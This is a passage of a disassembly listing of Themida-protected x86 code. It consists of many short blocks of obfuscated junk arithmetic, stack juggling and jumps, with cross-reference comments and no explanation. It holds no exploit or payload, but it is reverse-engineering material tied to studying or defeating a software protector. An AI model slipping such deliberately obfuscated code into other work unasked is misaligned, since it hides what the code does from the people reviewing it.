loc_568177 ; --------------------------------------------------------------------------- loc_56EB08: ; CODE XREF: Themida_:0056CD44j sub al, 0DCh sub al, cl add al, 0DCh push ecx jmp loc_570BFF ; --------------------------------------------------------------------------- loc_56EB14: ; CODE XREF: Themida_:005715E6j push ecx push ebx jmp loc_564E24 ; --------------------------------------------------------------------------- loc_56EB1B: ; CODE XREF: Themida_:0056E607j mov dh, al mov cl, dh jmp loc_56DA2E ; --------------------------------------------------------------------------- loc_56EB24: ; CODE XREF: Themida_:005692C8j add ebx, eax sub ebx, 72E34957h pop eax jmp loc_56F521 ; --------------------------------------------------------------------------- loc_56EB32: ; CODE XREF: Themida_:005708F0j and ecx, 5DA05A1Bh push edx mov edx, 43ED7D03h add ecx, edx pop edx sub esp, 4 mov [esp], ecx not dword ptr [esp] pop ecx add ecx, 0B0A8AFB6h jmp loc_56E9D0 ; --------------------------------------------------------------------------- loc_56EB59: ; CODE XREF: Themida_:0056A2B3j pop edi jmp loc_56D3D5 ; --------------------------------------------------------------------------- loc_56EB5F: ; CODE XREF: Themida_:0055E607j add ecx, 332A7E46h or ecx, 4554265Ah xor ecx, 57156F79h jmp loc_570D90 ; --------------------------------------------------------------------------- loc_56EB76: ; CODE XREF: Themida_:0056520Fj not edi and edi, 680E6B96h sub edi, 2E757AD7h add edi, 1E5559ABh xor edi, 1A937425h add ebx, edi jmp loc_564BC4 ; --------------------------------------------------------------------------- loc_56EB97: ; CODE XREF: Themida_:0056283Cj mov [esp], ebx mov ebx, 235F9208h xor eax, ebx mov ebx, [esp] jmp loc_572A45 ; --------------------------------------------------------------------------- loc_56EBA9: ; CODE XREF: Themida_:005633B2j pop eax add dl, bl pop ebx and dl, 2Ch jmp loc_570651 ; --------------------------------------------------------------------------- loc_56EBB5: ; CODE XREF: Themida_:0055F633j mov edx, esp jmp loc_564A09 ; --------------------------------------------------------------------------- loc_56EBBC: ; CODE XREF: Themida_:00569D7Dj add ecx, 4 sub esp, 4 mov [esp], esi push edx mov edx, 0CCC7E41h shr edx, 1 xor edx, 2A920CECh mov esi, edx mov edx, [esp] add esp, 4 xor esi, 612C52BEh push esi neg dword ptr [esp] jmp loc_568751 ; --------------------------------------------------------------------------- loc_56EBED: ; CODE XREF: Themida_:00561FDAj shl esi, 2 push eax mov eax, 62DD7574h xor eax, 4DB9EFBCh add esi, eax jmp loc_56DEC2 ; --------------------------------------------------------------------------- loc_56EC02: ; CODE XREF: Themida_:00570FE8j pop ebp push ecx mov ecx, 0F4B76BEh sub edi, ecx jmp loc_560654 ; --------------------------------------------------------------------------- loc_56EC10: ; CODE XREF: Themida_:0056D9B2j push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_570AA9 ; --------------------------------------------------------------------------- loc_56EC2C: ; CODE XREF: Themida_:0057118Bj push 5D1E6AF9h pop esi xchg ebx, esi xchg edx, ebx not edx xchg edx, ebx xchg ebx, esi dec esi sub esi, 6A8B6E45h push ebx jmp loc_567D09 ; --------------------------------------------------------------------------- loc_56EC49: ; CODE XREF: Themida_:005668BCj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 837h mov [esp], ebp jmp loc_567A0C ; --------------------------------------------------------------------------- loc_56EC66: ; CODE XREF: Themida_:0055F4D3j sub ebx, 632D725Ch mov esi, [esp] add esp, 4 jmp loc_5621F3 ; --------------------------------------------------------------------------- loc_56EC77: ; CODE XREF: Themida_:0056728Aj add ebp, 4083251Dh xor ebp, 35DB3363h shl ebp, 5 shr ebp, 6 jmp loc_570D1F ; --------------------------------------------------------------------------- loc_56EC8E: ; CODE XREF: Themida_:0056DECCj push ecx mov ecx, 246B4865h or ecx, 283A4D3Bh or ecx, 386F25ABh push ebp mov ebp, 27940E3Ah dec ebp jmp loc_5688DC ; --------------------------------------------------------------------------- loc_56ECAC: ; CODE XREF: Themida_:0056B564j push ebp jmp loc_55DB8D ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_561FBA ; --------------------------------------------------------------------------- loc_56ECBB: ; CODE XREF: Themida_:0056C645j pop esp mov [esp], edi push 522Ah mov [esp], ebx mov ebx, 0 push eax push 73ECh mov [esp], esp jmp loc_57223D ; --------------------------------------------------------------------------- loc_56ECDA: ; CODE XREF: Themida_:0056AF85j add ebp, 4 xchg ebp, [esp] pop esp sub edx, 6613B46h jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56ECEF: ; CODE XREF: Themida_:00564DE0j mov eax, [esp] jmp loc_55F20A ; --------------------------------------------------------------------------- loc_56ECF7: ; CODE XREF: Themida_:00567C32j push edi jmp loc_56B213 ; --------------------------------------------------------------------------- loc_56ECFD: ; CODE XREF: Themida_:00565609j pop ebx add ebx, 20ED5DD1h jmp loc_570F70 ; --------------------------------------------------------------------------- loc_56ED09: ; CODE XREF: Themida_:0056C5DFj pop esp pop eax sub eax, 52596E99h pop edx or eax, 7B290C3Eh shr eax, 5 neg eax shr eax, 2 push edi mov edi, 227614B1h shl edi, 2 inc edi neg edi jmp loc_5622C8 ; --------------------------------------------------------------------------- loc_56ED2F: ; CODE XREF: Themida_:00568233j add ebx, 17814D51h jmp loc_5651F5 ; --------------------------------------------------------------------------- loc_56ED3A: ; CODE XREF: Themida_:00569AABj mov eax, 13001627h mov esi, eax jmp loc_564B0E ; --------------------------------------------------------------------------- loc_56ED46: ; CODE XREF: Themida_:00572623j pop esi add eax, edx pop edx sub eax, 631B5371h mov ebp, [esp] push edx jmp loc_5716E8 ; --------------------------------------------------------------------------- loc_56ED58: ; CODE XREF: Themida_:005625BDj pop edx and ebp, eax pop eax jmp loc_57195C ; --------------------------------------------------------------------------- loc_56ED61: ; CODE XREF: Themida_:0056E114j mov edx, [esp] add esp, 4 sub edx, 71E34C25h sub edx, ebx add edx, 71E34C25h push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_562A36 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56ED9B: ; CODE XREF: Themida_:0056F56Aj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_56FF87 ; --------------------------------------------------------------------------- loc_56EDAF: ; CODE XREF: Themida_:00566491j push edi add dword ptr [esp], 37E9004Dh pop esi sub esi, 37E9004Dh mov edi, [esp] add esp, 4 push 19A1h mov [esp], esi pop ebx pop esi jmp loc_56C4D4 ; --------------------------------------------------------------------------- loc_56EDD3: ; CODE XREF: Themida_:0056DC0Cj mov [esp], ebp mov ebp, 4BCC7B50h inc ebp sub ebp, 1 xchg edx, ebp not edx xchg edx, ebp add ebp, 4C4C8D0Eh sub esi, ebp jmp loc_562F96 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push edx jmp loc_5715B4 ; --------------------------------------------------------------------------- loc_56EDFD: ; CODE XREF: Themida_:0055E9F3j xchg esi, ebx jmp loc_567A30 ; --------------------------------------------------------------------------- loc_56EE04: ; CODE XREF: Themida_:005669C4j add ebp, 3DA655C5h sub ebp, edx sub ebp, 3DA655C5h mov edx, [esp] add esp, 4 jmp loc_572686 ; --------------------------------------------------------------------------- loc_56EE1D: ; CODE XREF: Themida_:0056E0AEj pop esi push edx mov edx, 24C06F4Ah jmp loc_5648FB ; --------------------------------------------------------------------------- loc_56EE29: ; CODE XREF: Themida_:0056A7B2j mov [esp], ebp push esp pop ebp push ecx mov ecx, 6ECA52A1h xor ecx, 2EEF55C2h push edx mov edx, 4025075Fh jmp loc_56DFD1 ; --------------------------------------------------------------------------- loc_56EE45: ; CODE XREF: Themida_:0055F0A5j push esi push edi mov edi, 496E37ADh mov esi, 6A6D6836h sub esi, edi jmp loc_56CD04 ; --------------------------------------------------------------------------- loc_56EE58: ; CODE XREF: Themida_:00567C74j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 jmp loc_56DFEB ; --------------------------------------------------------------------------- loc_56EE70: ; CODE XREF: Themida_:005609F2j push edx mov edx, 2C0E3732h add esi, edx pop edx mov ebx, [esp] add esp, 4 or esi, 162529E5h push edx push 24D4h mov [esp], ebp mov ebp, 12F82B7Fh jmp loc_55F1FD ; --------------------------------------------------------------------------- loc_56EE9B: ; CODE XREF: Themida_:005603D6j pop eax xor edi, 7A9D259Ch sub edx, 30241591h add edx, 246C10A5h sub edx, edi sub edx, 246C10A5h add edx, 30241591h jmp loc_56D959 ; --------------------------------------------------------------------------- loc_56EEC1: ; CODE XREF: Themida_:00564795j push ebp mov ebp, 3E4A089Eh shr ebp, 2 shr ebp, 8 dec ebp dec ebp jmp loc_5628F6 ; --------------------------------------------------------------------------- loc_56EED4: ; CODE XREF: Themida_:00566A31j mov esi, 3C1F7F57h sub eax, esi pop esi sub eax, ebp jmp loc_564FB1 ; --------------------------------------------------------------------------- loc_56EEE3: ; CODE XREF: Themida_:0056AB87j mov esp, [esp] or [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56EEEF: ; CODE XREF: Themida_:00571E55j push eax jmp loc_564A24 ; --------------------------------------------------------------------------- loc_56EEF5: ; CODE XREF: Themida_:0056A582j mov esp, [esp] jmp loc_55F17F ; --------------------------------------------------------------------------- loc_56EEFD: ; CODE XREF: Themida_:0056FCA0j xor esi, [esp] mov esp, [esp] idiv cl movzx cx, ah jmp loc_56DA94 ; --------------------------------------------------------------------------- loc_56EF0E: ; CODE XREF: Themida_:0056C828j pop ecx add ecx, edi pop edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55F7C8 ; --------------------------------------------------------------------------- loc_56EF27: ; CODE XREF: Themida_:00566B61j push dword ptr [esp+4] mov edi, [esp] push edx mov edx, esp push esi push edi mov edi, 4805599h neg edi jmp loc_55FAAA ; --------------------------------------------------------------------------- loc_56EF3F: ; CODE XREF: Themida_:00568707j sub ebx, 4 xchg ebx, [esp] jmp loc_568C56 ; --------------------------------------------------------------------------- loc_56EF4A: ; CODE XREF: Themida_:0055DFFAj mov ebx, 4 jmp loc_56265A ; --------------------------------------------------------------------------- loc_56EF54: ; CODE XREF: Themida_:00568B1Bj push 20BAh mov [esp], edi push ecx jmp loc_5647F1 ; --------------------------------------------------------------------------- loc_56EF62: ; CODE XREF: Themida_:00563950j mov [esp], ebp push esp pop ebp sub esp, 4 jmp loc_570B77 ; --------------------------------------------------------------------------- loc_56EF72: ; CODE XREF: Themida_:00560A99j push esi mov esi, esp push edi jmp loc_568C91 ; --------------------------------------------------------------------------- loc_56EF7B: ; CODE XREF: Themida_:005618F3j sub ebp, 5D7F5E4Dh mov ecx, [esp] jmp loc_5617E9 ; --------------------------------------------------------------------------- loc_56EF89: ; CODE XREF: Themida_:0056E498j sub ecx, 265B4324h shr ecx, 7 push edx mov edx, 0FE4C8943h add ecx, edx jmp loc_56B2BA ; --------------------------------------------------------------------------- loc_56EF9F: ; CODE XREF: Themida_:00563572j mov edi, 4 jmp loc_56BF26 ; --------------------------------------------------------------------------- loc_56EFA9: ; CODE XREF: Themida_:005723FBj mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp jmp loc_55D72C ; --------------------------------------------------------------------------- loc_56EFBF: ; CODE XREF: Themida_:00570B03j push ebx push ebp push 51E5172Fh pop ebp jmp loc_56B25E ; --------------------------------------------------------------------------- loc_56EFCC: ; CODE XREF: Themida_:00564AB2j and eax, esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] jmp loc_56D056 ; --------------------------------------------------------------------------- loc_56EFDC: ; CODE XREF: Themida_:00564D32j neg ebp add ebp, 74466680h mov ebx, ebp pop ebp push edx mov edx, 5FD54851h not edx not edx sub edx, 0AFDEC46h jmp loc_5644B9 ; --------------------------------------------------------------------------- loc_56EFFC: ; CODE XREF: Themida_:005711BEj and eax, ebp pop ebp or eax, eax jz loc_55DE5C push 7BF0h mov [esp], ebx push ebp mov ebp, 37E6295Bh mov ebx, 37E62947h jmp loc_563DA5 ; --------------------------------------------------------------------------- loc_56F01F: ; CODE XREF: Themida_:0055E9D6j xchg esi, ebp inc esi xchg esi, ebp inc ebp push edi mov edi, 28296EDEh dec edi and edi, 7A6C6B2Dh sub edi, 23547734h add edi, 2461Fh jmp loc_55DAF7 ; --------------------------------------------------------------------------- loc_56F043: ; CODE XREF: Themida_:0057128Bj sub ecx, 37F7125Fh add ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 4 jmp loc_56362A ; --------------------------------------------------------------------------- loc_56F059: ; CODE XREF: Themida_:0055EE85j push edx mov edx, 4 jmp loc_5671EF ; --------------------------------------------------------------------------- loc_56F064: ; CODE XREF: Themida_:00565073j mov [esp], ecx mov ecx, 35B755EDh xor eax, ecx push dword ptr [esp] pop ecx push ebp jmp loc_55D885 ; --------------------------------------------------------------------------- loc_56F078: ; CODE XREF: Themida_:00571642j push 62A0h mov [esp], ebx push eax push bx mov bh, 0B8h mov ah, bh pop bx mov bh, ah jmp loc_5690E5 ; --------------------------------------------------------------------------- loc_56F090: ; CODE XREF: Themida_:0056DEA6j mov ecx, ebp pop ebp push edi mov edi, 1C8176FFh add ebp, edi pop edi add ebp, ecx push edx mov edx, 1C8176FFh add ebp, 4B9705CEh sub ebp, edx sub ebp, 4B9705CEh pop edx push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 7DE5h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] jmp loc_562BC4 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56F0F0: ; CODE XREF: Themida_:00566311j mov [esp], ebp push ebx push 45AD7617h pop ebx add dword ptr [esp+4], 6FFC7465h sub [esp+4], ebx sub dword ptr [esp+4], 6FFC7465h pop ebx mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_567409 ; --------------------------------------------------------------------------- loc_56F120: ; CODE XREF: Themida_:0056D17Fj push eax mov eax, 6634E09h inc eax sub eax, 6634E06h sub esi, eax pop eax xor esi, [esp] jmp loc_56802B ; --------------------------------------------------------------------------- loc_56F137: ; CODE XREF: Themida_:0055E890j add eax, 5BFC0DE2h jmp loc_56B04C ; --------------------------------------------------------------------------- loc_56F141: ; CODE XREF: Themida_:0056F86Fj pop edi jmp loc_56B780 ; --------------------------------------------------------------------------- loc_56F147: ; CODE XREF: Themida_:005614D8j mov esi, 33102AFFh and edi, esi pop esi shr edi, 6 xor edi, 1FF1546Eh jmp loc_561A03 ; --------------------------------------------------------------------------- loc_56F15D: ; CODE XREF: Themida_:0054A574j ; Themida_:00561495j mov esp, [esp] jmp loc_56D9BF ; --------------------------------------------------------------------------- loc_56F165: ; CODE XREF: Themida_:00566C12j mov edi, 61624890h jmp loc_5671F9 ; --------------------------------------------------------------------------- loc_56F16F: ; CODE XREF: Themida_:00570E0Bj pop ebp not ebp xchg eax, ebp xor [esp], eax xor eax, [esp] xor [esp], eax push dword ptr [esp] jmp loc_55F250 ; --------------------------------------------------------------------------- loc_56F184: ; CODE XREF: Themida_:0056F91Fj mov [esp], esi mov esi, 59C8200Ch xor ecx, esi push dword ptr [esp] pop esi push 10B2h mov [esp], edi mov edi, esp push eax mov eax, 0EA416DAh add eax, 0F15BE92Ah add edi, eax pop eax jmp loc_56243B ; --------------------------------------------------------------------------- loc_56F1AF: ; CODE XREF: Themida_:0056C172j or eax, eax jz loc_56A3DE push ebx push esp mov ebx, [esp] jmp loc_56D5EF ; --------------------------------------------------------------------------- loc_56F1C1: ; CODE XREF: Themida_:00567061j add edi, 4 xchg edi, [esp] pop esp add esp, 4 push ebp jmp loc_57003E ; --------------------------------------------------------------------------- loc_56F1D7: ; CODE XREF: Themida_:0055D851j sub ebx, ecx xchg ebx, ecx pop ebx xchg ecx, esi xor esi, 0E4A89D82h mov edi, esi jmp loc_56A73D ; --------------------------------------------------------------------------- loc_56F1EB: ; CODE XREF: Themida_:0056AB43j xchg ebp, [esp] pop esp add [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56F1F8: ; CODE XREF: Themida_:0056CB9Aj add esp, 4 jmp loc_5711A6 ; --------------------------------------------------------------------------- loc_56F203: ; CODE XREF: Themida_:0055E09Aj pop edx add esp, 4 jmp loc_571D10 ; --------------------------------------------------------------------------- loc_56F20C: ; CODE XREF: Themida_:00572406j pop ecx add esp, 4 push ecx jmp loc_56B80D ; --------------------------------------------------------------------------- loc_56F219: ; CODE XREF: Themida_:0057008Fj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_567A94 ; --------------------------------------------------------------------------- loc_56F22C: ; CODE XREF: Themida_:0056579Dj xor edi, edx mov edx, [esp] add esp, 4 jmp loc_570A25 ; --------------------------------------------------------------------------- loc_56F239: ; CODE XREF: Themida_:0056301Cj push esi mov esi, 24B278A4h shr esi, 6 dec esi push edx mov edx, 526ACD4Fh sub esi, edx pop edx jmp loc_55FD9D ; --------------------------------------------------------------------------- loc_56F251: ; CODE XREF: Themida_:00560167j xor edi, 52FA715Ch jmp loc_56F2B1 ; --------------------------------------------------------------------------- loc_56F25C: ; CODE XREF: Themida_:00567C85j mov edx, [esp] jmp loc_56653F ; --------------------------------------------------------------------------- loc_56F264: ; CODE XREF: Themida_:0056262Cj mov eax, 4 sub edx, eax pop eax xchg edx, [esp] jmp loc_56756B ; --------------------------------------------------------------------------- loc_56F274: ; CODE XREF: Themida_:0056986Fj mov edx, [esp] jmp loc_56DC11 ; --------------------------------------------------------------------------- loc_56F27C: ; CODE XREF: Themida_:0055E4DEj pop dword ptr [esp] mov esp, [esp] jmp loc_566A8C ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_56B730 ; --------------------------------------------------------------------------- loc_56F292: ; CODE XREF: Themida_:00561B19j sub edx, edi sub esp, 4 mov [esp], esi mov esi, 77402D90h xor esi, 5622463Fh jmp loc_56A5D4 ; --------------------------------------------------------------------------- loc_56F2AA: ; CODE XREF: Themida_:00570407j sub al, 0ABh jmp loc_56C260 ; --------------------------------------------------------------------------- loc_56F2B1: ; CODE XREF: Themida_:0056F257j mov edx, edi pop edi add edx, ebx jmp loc_5647AD ; --------------------------------------------------------------------------- loc_56F2BB: ; CODE XREF: Themida_:0055E0BCj pop ecx xchg edi, [esp] jmp loc_561B1E ; --------------------------------------------------------------------------- loc_56F2C4: ; CODE XREF: Themida_:00566419j mov esp, [esp] movzx ax, byte ptr [eax] push ebx mov ebx, esp push esi jmp loc_56722D ; --------------------------------------------------------------------------- loc_56F2D4: ; CODE XREF: Themida_:0056F877j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_56498B ; --------------------------------------------------------------------------- loc_56F2EB: ; CODE XREF: Themida_:0056062Ej push eax jmp loc_56A0BD ; --------------------------------------------------------------------------- loc_56F2F1: ; CODE XREF: Themida_:005650B3j mov edx, 0E1F5897h mov ebp, 73A922F3h jmp loc_56B6E7 ; --------------------------------------------------------------------------- loc_56F300: ; CODE XREF: Themida_:00567A07j push 969h mov [esp], esi mov esi, 0DF2335F9h push edi mov edi, 396D26C8h jmp loc_55D7AC ; --------------------------------------------------------------------------- mov cx, [esp] push 52DCh mov [esp], edi push 1BC2h jmp loc_567576 ; --------------------------------------------------------------------------- loc_56F32E: ; CODE XREF: Themida_:005706DBj mov ebp, 13EC90DEh add esi, ebp mov ebp, [esp] push eax mov eax, esp jmp loc_55E61C ; --------------------------------------------------------------------------- loc_56F340: ; CODE XREF: Themida_:0056E548j mov [esp], edx push 5B0Dh mov [esp], esp add dword ptr [esp], 4 jmp loc_5684C8 ; --------------------------------------------------------------------------- loc_56F357: ; CODE XREF: Themida_:0055F777j xchg ecx, edi push edx push edi jmp loc_562446 ; --------------------------------------------------------------------------- loc_56F360: ; CODE XREF: Themida_:00567D92j push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp push ecx mov ecx, 3BB66CAFh inc ecx jmp loc_56A187 ; --------------------------------------------------------------------------- loc_56F376: ; CODE XREF: Themida_:0055D95Dj xor bl, dl jmp loc_562EF0 ; --------------------------------------------------------------------------- loc_56F37D: ; CODE XREF: Themida_:0057102Fj push ebx mov ebx, 13D62849h mov ebp, ebx jmp loc_564879 ; --------------------------------------------------------------------------- loc_56F38A: ; CODE XREF: Themida_:0055E19Bj add edi, 14D735C3h or edi, 4B34654h add edi, 9D58D2D9h mov ecx, edi jmp loc_561E6E ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56F3AB: ; CODE XREF: Themida_:0056A966j add esi, edx pop edx push edi mov edi, 4 add esi, edi push dword ptr [esp] jmp loc_564BFA ; --------------------------------------------------------------------------- loc_56F3BE: ; CODE XREF: Themida_:0057032Cj mov edi, [esp] add esp, 4 mov eax, ebp jmp loc_569030 ; --------------------------------------------------------------------------- loc_56F3CE: ; CODE XREF: Themida_:00562B8Aj mov [esp], edx jmp loc_56CD78 ; --------------------------------------------------------------------------- loc_56F3D6: ; CODE XREF: Themida_:00571D7Bj sub al, 18h add al, cl add al, 18h pop ecx mov dh, 45h add dh, 0E4h add dh, 0CFh sub dh, al jmp loc_56A6EF ; --------------------------------------------------------------------------- loc_56F3EC: ; CODE XREF: Themida_:0055ED2Ej pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx jmp loc_566977 ; --------------------------------------------------------------------------- loc_56F3FE: ; CODE XREF: Themida_:005659FBj sub eax, 4F9C2D39h mov esi, eax jmp loc_56CA7C ; --------------------------------------------------------------------------- loc_56F40A: ; CODE XREF: Themida_:0056055Ej xor [esp], edx xor edx, [esp] pop esp mov [esp], esp jmp loc_56C72D ; --------------------------------------------------------------------------- loc_56F419: ; CODE XREF: Themida_:00565F14j add ebx, 38926E2Ch pop eax sub esp, 4 mov [esp], ebx jmp loc_56524D ; --------------------------------------------------------------------------- loc_56F42B: ; CODE XREF: Themida_:0056CE32j push edx jmp loc_5646CA ; --------------------------------------------------------------------------- loc_56F431: ; CODE XREF: Themida_:005600AEj push dword ptr [esp+4] jmp loc_560741 ; --------------------------------------------------------------------------- loc_56F43A: ; CODE XREF: Themida_:00566ECEj push eax mov eax, 307A62BCh add ebp, eax pop eax mov ecx, [esp] add esp, 4 and eax, ebp pop ebp or eax, eax jz loc_56B897 push dword ptr [edi+1Ch] push edi push esp pop edi add edi, 4 jmp loc_560B1F ; --------------------------------------------------------------------------- loc_56F465: ; CODE XREF: Themida_:00566850j xor edx, edx push edx push ebx push esi mov esi, 3A51167Ch add [esp+4], esi mov esi, [esp] jmp loc_55E091 ; --------------------------------------------------------------------------- loc_56F47B: ; CODE XREF: Themida_:0056404Dj xor ecx, 1521FA5Ch jmp loc_563B54 ; --------------------------------------------------------------------------- loc_56F486: ; CODE XREF: Themida_:0056BEEDj and edx, 62B32125h xor edx, 422D1ED2h add edx, 0F85DF8h push edi mov edi, 0DE7B6239h add edx, edi jmp loc_565D74 ; --------------------------------------------------------------------------- loc_56F4A5: ; CODE XREF: Themida_:005620AAj add eax, edi push ebx jmp loc_561E64 ; --------------------------------------------------------------------------- loc_56F4AD: ; CODE XREF: Themida_:005621EEj mov esi, 72243429h add esi, 4008112Eh shr esi, 3 add esi, 0E754A131h jmp loc_564BB1 ; --------------------------------------------------------------------------- loc_56F4C6: ; CODE XREF: Themida_:005628B9j sub edi, 0EEDAF6F3h mov esi, edi pop edi shr esi, 3 and esi, 4CD05A9Eh xor esi, 78AC0A71h neg esi jmp loc_5682BF ; --------------------------------------------------------------------------- loc_56F4E5: ; CODE XREF: Themida_:005724EBj push small 640Fh mov [esp], cx push 79FCh mov [esp], ebx mov bh, 19h push ebx push eax push edx mov dl, 40h mov ah, dl pop edx jmp loc_56DF46 ; --------------------------------------------------------------------------- loc_56F504: ; CODE XREF: Themida_:00569877j add esp, 4 push ecx push esi add dword ptr [esp], 78E43734h pop ecx sub ecx, 78E43734h mov ebp, ecx jmp loc_5706AD ; --------------------------------------------------------------------------- loc_56F521: ; CODE XREF: Themida_:0056EB2Dj push esi push 4 jmp loc_571544 ; --------------------------------------------------------------------------- loc_56F52C: ; CODE XREF: Themida_:0056BEDEj add ebp, 0FFFFFFFFh jmp loc_5707E9 ; --------------------------------------------------------------------------- loc_56F537: ; CODE XREF: Themida_:00562854j pop eax jmp loc_56E1EB ; --------------------------------------------------------------------------- loc_56F53D: ; CODE XREF: Themida_:0055FDEAj mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_562530 ; --------------------------------------------------------------------------- loc_56F554: ; CODE XREF: Themida_:005615CEj push 5A35h jmp loc_55E9F8 ; --------------------------------------------------------------------------- loc_56F55E: ; CODE XREF: Themida_:0056182Bj sub ebx, 19CA9EEh add eax, ebx pop ebx sub eax, 4 jmp loc_56ED9B ; --------------------------------------------------------------------------- loc_56F56F: ; CODE XREF: Themida_:0055F3F8j push ebx jmp loc_567EC1 ; --------------------------------------------------------------------------- loc_56F575: ; CODE XREF: Themida_:00566753j not edx add edx, 0FA41F655h push edx add dword ptr [esp], 42EC7C62h pop esi jmp loc_570446 ; --------------------------------------------------------------------------- loc_56F58B: ; CODE XREF: Themida_:0056AA4Fj sub eax, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 23B62372h inc ebx or ebx, 37453A39h add ebx, 0C8DFE1Fh and eax, ebx pop ebx push edx mov edx, 2F294A77h jmp loc_5625AD ; --------------------------------------------------------------------------- loc_56F5B7: ; CODE XREF: Themida_:0056E6BEj push 1C28h mov [esp], esp add dword ptr [esp], 4 pop edx push 3F3Ah jmp loc_5653A9 ; --------------------------------------------------------------------------- loc_56F5CE: ; CODE XREF: Themida_:00569065j push edx jmp loc_5635FE ; --------------------------------------------------------------------------- loc_56F5D4: ; CODE XREF: Themida_:0056BD8Cj add edx, eax push esi mov esi, 5C916BD0h neg esi neg esi dec esi push ebx mov ebx, 5CCF7994h xor esi, ebx pop ebx push edi push ebx jmp loc_5644AD ; --------------------------------------------------------------------------- loc_56F5F1: ; CODE XREF: Themida_:0056CEBAj mov [esp], esi jmp loc_5627AB ; --------------------------------------------------------------------------- loc_56F5F9: ; CODE XREF: Themida_:00568004j add eax, 58B23313h sub eax, ebp sub eax, 58B23313h pop ebp push 755h mov [esp], edi push 57CEh mov [esp], eax mov eax, 72BD229Dh push esi mov esi, 4A4E182Ch jmp loc_5729DC ; --------------------------------------------------------------------------- loc_56F626: ; CODE XREF: Themida_:0056FA5Dj sub bl, al sub bl, 0CCh push cx mov ch, 0CAh sub bl, 0E1h sub bl, 0C3h jmp loc_571C54 ; --------------------------------------------------------------------------- mov cx, [esp] push esi sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop esi push 1A4Ch mov [esp], ebp jmp loc_56B6BF ; --------------------------------------------------------------------------- loc_56F65E: ; CODE XREF: Themida_:005705C1j mov edi, edx pop edx mov esi, edi pop edi push edi mov edi, 1 jmp loc_55F38B ; --------------------------------------------------------------------------- loc_56F66F: ; CODE XREF: Themida_:00567885j xor eax, 7CA87C6Dh sub eax, 9C7F465Ch and ebp, eax mov eax, [esp] add esp, 4 jmp loc_55F1D2 ; --------------------------------------------------------------------------- loc_56F686: ; CODE XREF: Themida_:00567611j push edx jmp loc_567A51 ; --------------------------------------------------------------------------- loc_56F68C: ; CODE XREF: Themida_:0056A30Aj add al, 2Bh mov dl, al pop eax sub dl, ah jmp loc_55EE7F ; --------------------------------------------------------------------------- loc_56F698: ; CODE XREF: Themida_:0055E97Fj mov eax, 62412F9Eh mov edx, 2506487Ch push ecx mov ecx, 338C3F1Eh sub edx, ecx jmp loc_56D127 ; --------------------------------------------------------------------------- loc_56F6AF: ; CODE XREF: Themida_:00565A1Bj inc ebp dec ebp add ebp, 0C936566Bh jmp loc_561997 ; --------------------------------------------------------------------------- loc_56F6BC: ; CODE XREF: Themida_:005631BBj add ecx, ebx pop ebx add ecx, ebp sub ecx, 2330094Ah mov ebp, [esp] add esp, 4 push eax mov eax, 2 jmp loc_5722FB ; --------------------------------------------------------------------------- loc_56F6DB: ; CODE XREF: Themida_:00562CFCj xchg dx, bx jmp loc_56D20B ; --------------------------------------------------------------------------- loc_56F6E3: ; CODE XREF: Themida_:0055EB28j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56F6F8: ; CODE XREF: Themida_:0055F94Dj add al, cl jmp loc_56902A ; --------------------------------------------------------------------------- loc_56F6FF: ; CODE XREF: Themida_:00568340j sub esi, edi pop edi and eax, esi push dword ptr [esp] pop esi jmp loc_5604BF ; --------------------------------------------------------------------------- loc_56F70D: ; CODE XREF: Themida_:00570D6Cj add ecx, 786E1A15h sub edx, ecx jmp loc_56B2A1 ; --------------------------------------------------------------------------- loc_56F71A: ; CODE XREF: Themida_:00567DBEj xchg edx, [esp] pop esp pop edi push esi push edx push 58AD21FAh jmp loc_567E0E ; --------------------------------------------------------------------------- loc_56F72B: ; CODE XREF: Themida_:00569F9Ej mov esi, 28C35898h jmp loc_56CA07 ; --------------------------------------------------------------------------- loc_56F735: ; CODE XREF: Themida_:0055E00Bj add eax, esi add eax, 50272CFFh pop esi sub edi, 7F44615h add edi, 45CA490Eh sub edi, 0E07B3Bh add edi, eax add edi, 0E07B3Bh sub edi, 45CA490Eh push eax mov eax, 7F44615h add edi, eax pop eax pop eax jmp loc_56C608 ; --------------------------------------------------------------------------- loc_56F76C: ; CODE XREF: Themida_:00561AAEj add ebx, 19C168Eh add 